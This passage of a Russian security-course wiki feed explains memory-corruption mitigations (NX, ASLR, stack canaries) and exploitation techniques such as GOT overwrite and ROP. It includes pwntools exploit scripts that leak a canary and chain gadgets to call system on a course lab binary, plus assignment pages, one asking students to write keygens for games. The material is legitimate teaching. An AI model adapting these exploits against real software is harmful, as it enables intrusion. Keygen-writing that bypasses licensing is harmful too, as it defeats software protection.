Поэтому &amp;lt;code&amp;gt;read_data&amp;lt;/code&amp;gt; может записать в буфер больше данных, чем доступно памяти в буфере, и затереть таким образом соседние объекты на куче.&lt;br /&gt;
&lt;br /&gt;
Похожая проблема возникает при умножении и даже при неаккуратном прибавлении константного числа.&lt;br /&gt;
&lt;br /&gt;
== Средства защиты ==&lt;br /&gt;
В программах на языках C и C++, скомпилированных современными компиляторами и работающих на современных ОС, присутствует большое число противодействий бинарным уязвимостям (mitigations).&lt;br /&gt;
&lt;br /&gt;
=== No execute (NX) ===&lt;br /&gt;
&lt;br /&gt;
Средства ОС и процессора позволяют гибко настраивать права доступа на страницы виртуальной памяти. Эти права доступа позволяют запрещать выполнять данные как инструкции процессора. Напрмер, даже если записать шеллкод на стек, в память, выделенную через &amp;lt;code&amp;gt;malloc&amp;lt;/code&amp;gt; или в статический глобальный буфер, при попытке выполнить этот код произойдет &amp;lt;code&amp;gt;SIGSEGV&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
На уровне пользовательской программы это реализовано флагом &amp;lt;code&amp;gt;prot&amp;lt;/code&amp;gt; в системных вызовах &amp;lt;code&amp;gt;mmap&amp;lt;/code&amp;gt; и &amp;lt;code&amp;gt;mprotect&amp;lt;/code&amp;gt;. Сам пользовательский код редко использует эти системные вызовы напрямую: ядро системы, динамический загрузчик (&amp;lt;code&amp;gt;ld.so&amp;lt;/code&amp;gt;) и libc сами выделяют память с правильными правами доступа.&lt;br /&gt;
&lt;br /&gt;
Фактически это означает, что чтобы в таких условиях добиться выполнения произвольного кода (или хотя бы выходящего за спецификацию исходной программы), придется провести атаку переиспользования кода (code reuse) в том или ином виде. Например, переписать указатель на какую-то безобидную функцую на &amp;lt;code&amp;gt;system&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Посмотреть карту виртуальной памяти запущенного процесса можно при помощи программы &amp;lt;code&amp;gt;pmap&amp;lt;/code&amp;gt;, команды &amp;lt;code&amp;gt;info proc mappings&amp;lt;/code&amp;gt; в GDB, или &amp;lt;code&amp;gt;vmmap&amp;lt;/code&amp;gt; в GDB+PEDA.&lt;br /&gt;
&lt;br /&gt;
* https://en.wikipedia.org/wiki/NX_bit&lt;br /&gt;
&lt;br /&gt;
=== ASLR ===&lt;br /&gt;
&lt;br /&gt;
Чтобы затруднить атаки класса переиспользования кода (code reuse), такие как возврат в libc, адреса стека, кучи, и загрузки библиотек рандомизируются при каждом запуске программы. Это называется address space layout randomization.&lt;br /&gt;
&lt;br /&gt;
Например, если в программе есть уязвимость, позволяющая переписать указатель на функцию, вы не можете записать туда адрес функции &amp;lt;code&amp;gt;system&amp;lt;/code&amp;gt; просто потому, что вы не знаете адрес этой функции. Похожая ситуация будет, если есть указатель на какую-то структуру (например, содержащую в себе флаг &amp;lt;code&amp;gt;is_admin&amp;lt;/code&amp;gt;): возможно вы и можете создать фейковую структуру с правильными полями на стеке, но вы не знаете, по какому адресу она окажется, чтобы записать этот адрес в тот указатель.&lt;br /&gt;
&lt;br /&gt;
Как и многие другие защиты, ASLR не является абсолютной. Если в программе есть баг, позволяющий читать память за границей массива на стеке, с большой вероятностью вы там найдете адрес, ведущий в libc. Например, функция &amp;lt;code&amp;gt;main&amp;lt;/code&amp;gt; возвращается куда-то в недра &amp;lt;code&amp;gt;__libc_start_main&amp;lt;/code&amp;gt;, и если получится узнать адрес возврата, то посчитав смещение этого места относительно начала libc (для этой конкретной версии libc!), вы сможете узнать адрес загрузки библиотеки - и, соответственно, адреса всех функций, смещения которых фиксированы относительно базового адреса загрузки.&lt;br /&gt;
&lt;br /&gt;
Начиная с примерно 2018 года большинство дистрибутивов Linux стали компилировать программы в режиме PIE (position-independent executable), позволяющие ОС и загрузчику рандомизировать также адрес загрузки самого бинаря, который до этого был всегда фиксировано &amp;lt;code&amp;gt;0x00400000&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Проверить наличие PIE можно при помощи следующей команды pwntools. ASLR же для стека, кучи и библиотек при этом присутствует в любом случае.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ pwn checksec /bin/bash&lt;br /&gt;
[*] &#039;/bin/bash&#039;&lt;br /&gt;
    Arch:     amd64-64-little&lt;br /&gt;
    RELRO:    Partial RELRO&lt;br /&gt;
    Stack:    Canary found&lt;br /&gt;
    NX:       NX enabled&lt;br /&gt;
    PIE:      PIE enabled&lt;br /&gt;
    FORTIFY:  Enabled&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* https://en.wikipedia.org/wiki/Address_space_layout_randomization&lt;br /&gt;
&lt;br /&gt;
=== Stack canary ===&lt;br /&gt;
Stack canary (&amp;lt;code&amp;gt;-fstack-protector&amp;lt;/code&amp;gt;, stack smashing protector) - один из способов защиты от переполнения буфера на стеке.&lt;br /&gt;
&lt;br /&gt;
При переполнении буфера освовную опасность представляет перезапись адреса возврата функции. От этого канарейка и защищает.&lt;br /&gt;
&lt;br /&gt;
В прологе функции за адресом возврата&amp;lt;ref&amp;gt;Иногда и перед потенциально опасными локальными переменными, как то указатели на функции.&amp;lt;/ref&amp;gt; на стек сохраняется специальное секретное значение, которое проверяется при выходе из функции. Если оно изменилось, то значит произошло переполнение буфера на стеке, и программа немедленно завершается, не выполняя инструкцию ret.&lt;br /&gt;
&lt;br /&gt;
В glibc канарейка генерируется один раз при запуске программы, и никогда не меняется. Если есть уязвимость, позволяющая прочесть значение канарейки, то её можно обойти, просто записывая поверх канарейки её значение. Однако алгоритм генерации всегда включает в значение нулевой байт, что может усложнить эксплуатацию при помощи строковых функций типа &amp;lt;code&amp;gt;strcpy&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
В HexRays проверка канарейки декомпилируется неправильно. Но всегда, когда вы видите &amp;lt;code&amp;gt;__readfsqword(0x28u)&amp;lt;/code&amp;gt;, можете быть увереными, что это оно. Если хотите посмотреть корректный код, смотрите дизассемблер.&lt;br /&gt;
&lt;br /&gt;
* https://wiki.osdev.org/Stack_Smashing_Protector&lt;br /&gt;
&lt;br /&gt;
== Техники эксплуатации ==&lt;br /&gt;
&lt;br /&gt;
=== Перезапись GOT ===&lt;br /&gt;
В динамических слинкованных бинарях для вызова фунций из библиотек (libc и другие) используется специальная таблица GOT (global offset table).&lt;br /&gt;
&lt;br /&gt;
Эта таблица содержит адреса библиотечных функций, которые требуются данной программе&amp;lt;ref&amp;gt;Библиотеки тоже могут использовать функции из других библиотек, у них тоже есть такая таблица.&amp;lt;/ref&amp;gt;. Эта таблица заполняется динамических загрузчиком (ld.so, dynamic linker/loader). По умолчанию эта таблица заполняется лениво: вместо адресов целевых функций там лежат адреса заглушек, которые вызывают динамический загрузчик, который в свою очередь заносит в таблицу уже адрес нужной функции и передает управление на неё. При последующих вызовах функция уже будет вызываться непосредственно, без загрузчика.&lt;br /&gt;
&lt;br /&gt;
Поскольку такая ленивость предполагает доступ к этой таблице на запись во время работы программы, записи в ней очень удобно переписывать в процессе эксплуатации. Основными претендентами являются функции, принимающие первым аргументом указатель на контролируемую пользователем строку, типа &amp;lt;code&amp;gt;free&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;strlen&amp;lt;/code&amp;gt;, и т.д.: их удобно переписывать на адрес &amp;lt;code&amp;gt;system&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Также бывает полезно читать данные оттуда для получения смещения libc и обхода ASLR таким образом.&lt;br /&gt;
&lt;br /&gt;
Так как GOT обычно находится перед секциями &amp;lt;code&amp;gt;.data&amp;lt;/code&amp;gt; и &amp;lt;code&amp;gt;.bss&amp;lt;/code&amp;gt;, в эту таблицу можно попасть по отрицательным смещениям относительно глобальных переменных, также через arbitrary read/write по произвольному абсолютному адресу.&lt;br /&gt;
&lt;br /&gt;
Опционально при компиляции можно включить защиту RELRO, которая делает эту таблицу неленивой и недоступной для запись. Уровень защиты можно проверить при помощи checksec (Partial RELRO с точки зрения эксплуатации не отличается от отсутствия RELRO, защиту обеспечивает только Full RELRO):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
% ~/.local/bin/pwn checksec /bin/cat&lt;br /&gt;
[*] &#039;/bin/cat&#039;&lt;br /&gt;
    Arch:     amd64-64-little&lt;br /&gt;
    RELRO:    Partial RELRO&lt;br /&gt;
    Stack:    Canary found&lt;br /&gt;
    NX:       NX enabled&lt;br /&gt;
    PIE:      PIE enabled&lt;br /&gt;
    FORTIFY:  Enabled&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* https://github.com/Gallopsled/pwntools-tutorial/tree/master/walkthrough/elf-symbols-got-overwrite&lt;br /&gt;
&lt;br /&gt;
=== Return-oriented programming ===&lt;br /&gt;
&lt;br /&gt;
Return-oriented programming (ROP) - популярная техника эксплуатации переполнения буфера на стеке.&lt;br /&gt;
&lt;br /&gt;
В самом простом варианте эксплуатации такого переполнения переписывается только адрес возврата функции. Однако такое не позволяет вызвать функцию с произвольными параметрами, можно лишь передавать управление на готовые куски кода. Это само по себе неплохо, если есть хорошие места в программе или в библиотеках (см. [https://github.com/david942j/one_gadget one gadget RCE] в libc).&lt;br /&gt;
&lt;br /&gt;
Но можно пойти дальше. Если есть возможность переписать и после адреса возврата, туда можно записать адреса т.н. гаджетов - последовательностей инструкций, заканчивающихся на &amp;lt;code&amp;gt;ret&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Эти гаджеты можно находить при помощи программ ropper, ROPGadget, и других. Эти программы позволяют находить гаджеты, которые не видны при простом дизассемблировании, т.к. как они могут начинаться на середине инструкции:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ ~/.local/bin/pwn disasm -c amd64 5FC3&lt;br /&gt;
   0:    5f                       pop    rdi&lt;br /&gt;
   1:    c3                       ret&lt;br /&gt;
$ ~/.local/bin/pwn disasm -c amd64 415FC3&lt;br /&gt;
   0:    41 5f                    pop    r15&lt;br /&gt;
   2:    c3                       ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ ~/.local/bin/ropper --file example_1.5_gets&lt;br /&gt;
...&lt;br /&gt;
0x0000000000400ba3: pop rdi; ret;&lt;br /&gt;
0x0000000000400ba1: pop rsi; pop r15; ret;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Например, нужно вызвать функцию по адресу &amp;lt;code&amp;gt;0xdeadbeef&amp;lt;/code&amp;gt; функцию с аргументами 1 и 2. Тогда на стек, начиная с адреса возврата, нужно записать такие 64-битные числа: &amp;lt;code&amp;gt;0x0000000000400ba3, 0x1, 0x0000000000400ba1, 0x2, 0x1337, 0xdeadbeef&amp;lt;/code&amp;gt;. Для понимания, как это работает, нужно отследить как меняется RSP по мере выполнения инструкций &amp;lt;code&amp;gt;ret&amp;lt;/code&amp;gt; и &amp;lt;code&amp;gt;pop&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* https://en.wikipedia.org/wiki/Return-oriented_programming&lt;br /&gt;
* https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI - какие регистры используются при вызове функций.&lt;br /&gt;
&lt;br /&gt;
=== Пример эксплоита ===&lt;br /&gt;
&lt;br /&gt;
Эксплоит для ./example_1.5_gets:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/env python2&lt;br /&gt;
&lt;br /&gt;
from pwn import *&lt;br /&gt;
&lt;br /&gt;
# http://docs.pwntools.com/en/stable/context.html#pwnlib.context.ContextType.terminal&lt;br /&gt;
# or just run in tmux and everything will work&lt;br /&gt;
context.terminal = [&amp;quot;xterm&amp;quot;, &amp;quot;-e&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
p = process([&amp;quot;stdbuf&amp;quot;, &amp;quot;-i0&amp;quot;, &amp;quot;-o0&amp;quot;, &amp;quot;./example_1.5_gets&amp;quot;])&lt;br /&gt;
&lt;br /&gt;
gdb.attach(p,&lt;br /&gt;
    &amp;quot;b * 0x400B2D&amp;quot;        &lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
p.sendline(&amp;quot;128&amp;quot;)&lt;br /&gt;
p.sendline(&amp;quot;aaaa&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
#p.interactive()&lt;br /&gt;
&lt;br /&gt;
p.recvuntil(&amp;quot;Hello, &amp;quot;)&lt;br /&gt;
&lt;br /&gt;
data = p.recvuntil(&amp;quot;Enter password&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
print hexdump(data)&lt;br /&gt;
&lt;br /&gt;
canary = data[40:48]&lt;br /&gt;
&lt;br /&gt;
payload = &amp;quot;&amp;quot;&lt;br /&gt;
payload += &amp;quot;A&amp;quot; * 40&lt;br /&gt;
payload += canary&lt;br /&gt;
payload += &amp;quot;A&amp;quot; * 24&lt;br /&gt;
    &lt;br /&gt;
payload += p64(0x0000000000400ba3) # pop rdi&lt;br /&gt;
payload += p64(0x6020B0) # -&amp;gt; rdi&lt;br /&gt;
payload += p64(0x4009B0) # read_line&lt;br /&gt;
payload += p64(0x0000000000400ba3) # pop rdi&lt;br /&gt;
payload += p64(0x6020B0) # -&amp;gt; rdi&lt;br /&gt;
payload += p64(0x400B33) # system&lt;br /&gt;
&lt;br /&gt;
p.sendline(payload)&lt;br /&gt;
&lt;br /&gt;
p.sendline(&amp;quot;sh&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
p.sendline(&amp;quot;id&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
p.interactive()&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Инструменты ==&lt;br /&gt;
&lt;br /&gt;
=== pwntools ===&lt;br /&gt;
&lt;br /&gt;
pwntools - удобная библиотека-фреймворк для написания эксплоитов.&lt;br /&gt;
&lt;br /&gt;
http://docs.pwntools.com/en/stable/index.html&lt;br /&gt;
&lt;br /&gt;
Эксплоит для примера &amp;lt;code&amp;gt;example_1.5_gets&amp;lt;/code&amp;gt;, разбираемого на задании ([[Media:2019 pwn samples.zip]]):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/env python2&lt;br /&gt;
&lt;br /&gt;
from pwn import *&lt;br /&gt;
&lt;br /&gt;
# http://docs.pwntools.com/en/stable/context.html#pwnlib.context.ContextType.terminal&lt;br /&gt;
# or just run in tmux and everything will work&lt;br /&gt;
#context.terminal = [&amp;quot;xterm&amp;quot;, &amp;quot;-e&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
p = process([&amp;quot;stdbuf&amp;quot;, &amp;quot;-i0&amp;quot;, &amp;quot;-o0&amp;quot;, &amp;quot;./example_1.5_gets&amp;quot;])&lt;br /&gt;
&lt;br /&gt;
#gdb.attach(p) # &amp;lt;- uncomment to enable debugger&lt;br /&gt;
&lt;br /&gt;
p.sendline(&amp;quot;128&amp;quot;)&lt;br /&gt;
p.sendline(&amp;quot;aaaa&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
#p.interactive()&lt;br /&gt;
&lt;br /&gt;
p.recvuntil(&amp;quot;Hello, &amp;quot;)&lt;br /&gt;
&lt;br /&gt;
data = p.recvuntil(&amp;quot;Enter password&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
print hexdump(data)&lt;br /&gt;
&lt;br /&gt;
canary = data[40:48]&lt;br /&gt;
&lt;br /&gt;
payload = &amp;quot;&amp;quot;&lt;br /&gt;
payload += &amp;quot;A&amp;quot; * 40&lt;br /&gt;
payload += canary&lt;br /&gt;
payload += &amp;quot;A&amp;quot; * 24&lt;br /&gt;
payload += p64(0x400B33) # &amp;lt;- try to set it to 0xdeadbeef and see what happens in debugger&lt;br /&gt;
&lt;br /&gt;
p.sendline(payload)&lt;br /&gt;
&lt;br /&gt;
p.interactive()&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BF%D0%BE_%D1%80%D0%B5%D0%B2%D0%B5%D1%80%D1%81-%D0%B8%D0%BD%D0%B6%D0%B8%D0%BD%D0%B8%D1%80%D0%B8%D0%BD%D0%B3%D1%83_%D0%B8_%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D0%B8_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=226</id>
		<title>Введение в практическую безопасность (2019)/Задания по реверс-инжинирингу и эксплуатации бинарных уязвимостей</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BF%D0%BE_%D1%80%D0%B5%D0%B2%D0%B5%D1%80%D1%81-%D0%B8%D0%BD%D0%B6%D0%B8%D0%BD%D0%B8%D1%80%D0%B8%D0%BD%D0%B3%D1%83_%D0%B8_%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D0%B8_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=226"/>
		<updated>2019-03-23T00:47:55Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* Задания по эксплуатации бинарных уязвимостей */ imgenhancer&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Задания по реверс-инжинирингу ==&lt;br /&gt;
&lt;br /&gt;
=== Обязательные задания ===&lt;br /&gt;
Задания по этой теме реализованы в формате типичного crackme/задания на реверс на task-based CTF.&lt;br /&gt;
&lt;br /&gt;
Дан исполняемый файл для ОС Linux. Нужно подобрать такой ввод, чтобы некая проверка внутри была пройдена. В случае успеха программа будет явно писать фразу в духе &amp;quot;успех&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Для зачисления баллов необходимо написать небольшой отчет о проделанной работе: какие инструменты были использованы, какие алгоритмы проверки ввода используются в задании, каким образом вы это поняли Отчет не обязан быть написан строго формально, но должен быть читаемым и понятным. Отчет нужно отправлять на почту mailto:wgh+secsem2019@seclab.cs.msu.ru. К отчету также необходимо приложить ваше имя/никнейм, которые вы использовали в [https://dashboard.course.secsem.ru/ дэшборде] при сдаче заданий по вебу, чтобы мы могли зачислить вам очки.&lt;br /&gt;
&lt;br /&gt;
Дедлайн: 10 апреля 2019, 23:59 MSK.&lt;br /&gt;
&lt;br /&gt;
; [[Media:2019 reverse task 1.zip]]&lt;br /&gt;
: При написании генератора ключей начисляется 150 баллов (генератор должен быть приложен к отчету), при получении одного валидного ключа - 100 баллов.&lt;br /&gt;
; [[Media:2019 reverse task 2.zip]]&lt;br /&gt;
: При успешном выполнении задания начисляется 150 баллов.&lt;br /&gt;
&lt;br /&gt;
=== Бонусное задание ===&lt;br /&gt;
Требуется разреверсить алгоритм проверки лицензионных ключей у компьютерной игры по выбору, и написать генератор ключей&amp;lt;ref&amp;gt;Игра конечно же должна быть законно приобретена вами.&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Разрешается объединяться в группы до трех человек, в исключительных случаях - до четырех.&lt;br /&gt;
&lt;br /&gt;
Чтобы не было ситуации, что несколько разных групп пишут кейген для одной и той же игры, игру нужно предварительно &amp;quot;забронировать&amp;quot;, написав мне письмо (mailto:wgh+secsem2019@seclab.cs.msu.ru).&lt;br /&gt;
&lt;br /&gt;
Поскольку это задание обладает значительным элементом рандома, и вы можете неудачно выбрать непосильную игру (код может оказаться безумно сложным, включать в себя антиотладочные механизмы, и т.д.), можно забронировать до 3 различных игр, и сдать то, что получится.&lt;br /&gt;
&lt;br /&gt;
Игры, у которых подробно описан алгоритм проверки ключа где-либо в интернете, не принимаются. Если строго, на момент бронирования игры на первых 5 страницах поиска в Google по запросу &amp;quot;&amp;lt;game name&amp;gt; cd key keygen reverse&amp;quot; не должно быть статьи с описанием алгоритма. По этому критерию сразу отсеиваются игры Half-Life и Starcraft.&lt;br /&gt;
&lt;br /&gt;
Результатом выполнения задания является должен быть отчет в таком же формате, как и в обязательных заданиях. Более качественный и подробный (без доведения до абсурда) отчет будет оцениваться выше.&lt;br /&gt;
&lt;br /&gt;
Оценка выставляется от 300 до бесконечности субъективно в зависимости от сложности проделанной работы и качества отчета. Например, UT2004, разобранный на семинаре, стоил бы где-то 500-600 баллов. Оценка будет выставлена после дедлайна (приблизительная оценка может быть сообщена ранее).&lt;br /&gt;
&lt;br /&gt;
Дедлайн: 23:59, 21 апреля 2019.&lt;br /&gt;
&lt;br /&gt;
== Задания по эксплуатации бинарных уязвимостей ==&lt;br /&gt;
Будут выложены после соответствующих занятий.&lt;br /&gt;
&lt;br /&gt;
=== Бонусное задание 1 (imgenhancer) ===&lt;br /&gt;
&lt;br /&gt;
Правила такие же, как и в [[Введение в практическую безопасность (2019)/Задания по вебу|заданиях по вебу]]: найдите флаг и сдайте его в [https://dashboard.course.secsem.ru/ принимающую систему]. Писать отчет не требуется.&lt;br /&gt;
&lt;br /&gt;
В этом задании есть два флага. Ко второй части задания рекомендуется приступать после семинара 26 марта.&lt;br /&gt;
&lt;br /&gt;
* http://imgenhancer.tasks.course.secsem.ru/&lt;br /&gt;
* [[Media:2019 pwn imgenhancer.zip]]&lt;br /&gt;
&lt;br /&gt;
Если вам кажется, что что-то не работает, пишите на почту mailto:wgh+secsem2019@seclab.cs.msu.ru.&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:2019_pwn_imgenhancer.zip&amp;diff=225</id>
		<title>Файл:2019 pwn imgenhancer.zip</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:2019_pwn_imgenhancer.zip&amp;diff=225"/>
		<updated>2019-03-23T00:45:15Z</updated>

		<summary type="html">&lt;p&gt;WGH: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BF%D0%BE_%D1%80%D0%B5%D0%B2%D0%B5%D1%80%D1%81-%D0%B8%D0%BD%D0%B6%D0%B8%D0%BD%D0%B8%D1%80%D0%B8%D0%BD%D0%B3%D1%83_%D0%B8_%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D0%B8_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=224</id>
		<title>Введение в практическую безопасность (2019)/Задания по реверс-инжинирингу и эксплуатации бинарных уязвимостей</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/%D0%97%D0%B0%D0%B4%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BF%D0%BE_%D1%80%D0%B5%D0%B2%D0%B5%D1%80%D1%81-%D0%B8%D0%BD%D0%B6%D0%B8%D0%BD%D0%B8%D1%80%D0%B8%D0%BD%D0%B3%D1%83_%D0%B8_%D1%8D%D0%BA%D1%81%D0%BF%D0%BB%D1%83%D0%B0%D1%82%D0%B0%D1%86%D0%B8%D0%B8_%D0%B1%D0%B8%D0%BD%D0%B0%D1%80%D0%BD%D1%8B%D1%85_%D1%83%D1%8F%D0%B7%D0%B2%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B5%D0%B9&amp;diff=224"/>
		<updated>2019-03-20T22:41:37Z</updated>

		<summary type="html">&lt;p&gt;WGH: /* Бонусное задание */ выложено условие&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Задания по реверс-инжинирингу ==&lt;br /&gt;
&lt;br /&gt;
=== Обязательные задания ===&lt;br /&gt;
Задания по этой теме реализованы в формате типичного crackme/задания на реверс на task-based CTF.&lt;br /&gt;
&lt;br /&gt;
Дан исполняемый файл для ОС Linux. Нужно подобрать такой ввод, чтобы некая проверка внутри была пройдена. В случае успеха программа будет явно писать фразу в духе &amp;quot;успех&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Для зачисления баллов необходимо написать небольшой отчет о проделанной работе: какие инструменты были использованы, какие алгоритмы проверки ввода используются в задании, каким образом вы это поняли Отчет не обязан быть написан строго формально, но должен быть читаемым и понятным. Отчет нужно отправлять на почту mailto:wgh+secsem2019@seclab.cs.msu.ru. К отчету также необходимо приложить ваше имя/никнейм, которые вы использовали в [https://dashboard.course.secsem.ru/ дэшборде] при сдаче заданий по вебу, чтобы мы могли зачислить вам очки.&lt;br /&gt;
&lt;br /&gt;
Дедлайн: 10 апреля 2019, 23:59 MSK.&lt;br /&gt;
&lt;br /&gt;
; [[Media:2019 reverse task 1.zip]]&lt;br /&gt;
: При написании генератора ключей начисляется 150 баллов (генератор должен быть приложен к отчету), при получении одного валидного ключа - 100 баллов.&lt;br /&gt;
; [[Media:2019 reverse task 2.zip]]&lt;br /&gt;
: При успешном выполнении задания начисляется 150 баллов.&lt;br /&gt;
&lt;br /&gt;
=== Бонусное задание ===&lt;br /&gt;
Требуется разреверсить алгоритм проверки лицензионных ключей у компьютерной игры по выбору, и написать генератор ключей&amp;lt;ref&amp;gt;Игра конечно же должна быть законно приобретена вами.&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Разрешается объединяться в группы до трех человек, в исключительных случаях - до четырех.&lt;br /&gt;
&lt;br /&gt;
Чтобы не было ситуации, что несколько разных групп пишут кейген для одной и той же игры, игру нужно предварительно &amp;quot;забронировать&amp;quot;, написав мне письмо (mailto:wgh+secsem2019@seclab.cs.msu.ru).&lt;br /&gt;
&lt;br /&gt;
Поскольку это задание обладает значительным элементом рандома, и вы можете неудачно выбрать непосильную игру (код может оказаться безумно сложным, включать в себя антиотладочные механизмы, и т.д.), можно забронировать до 3 различных игр, и сдать то, что получится.&lt;br /&gt;
&lt;br /&gt;
Игры, у которых подробно описан алгоритм проверки ключа где-либо в интернете, не принимаются. Если строго, на момент бронирования игры на первых 5 страницах поиска в Google по запросу &amp;quot;&amp;lt;game name&amp;gt; cd key keygen reverse&amp;quot; не должно быть статьи с описанием алгоритма. По этому критерию сразу отсеиваются игры Half-Life и Starcraft.&lt;br /&gt;
&lt;br /&gt;
Результатом выполнения задания является должен быть отчет в таком же формате, как и в обязательных заданиях. Более качественный и подробный (без доведения до абсурда) отчет будет оцениваться выше.&lt;br /&gt;
&lt;br /&gt;
Оценка выставляется от 300 до бесконечности субъективно в зависимости от сложности проделанной работы и качества отчета. Например, UT2004, разобранный на семинаре, стоил бы где-то 500-600 баллов. Оценка будет выставлена после дедлайна (приблизительная оценка может быть сообщена ранее).&lt;br /&gt;
&lt;br /&gt;
Дедлайн: 23:59, 21 апреля 2019.&lt;br /&gt;
&lt;br /&gt;
== Задания по эксплуатации бинарных уязвимостей ==&lt;br /&gt;
Будут выложены после соответствующих занятий.&lt;/div&gt;</summary>
		<author><name>WGH</name></author>
	</entry>
	<entry>
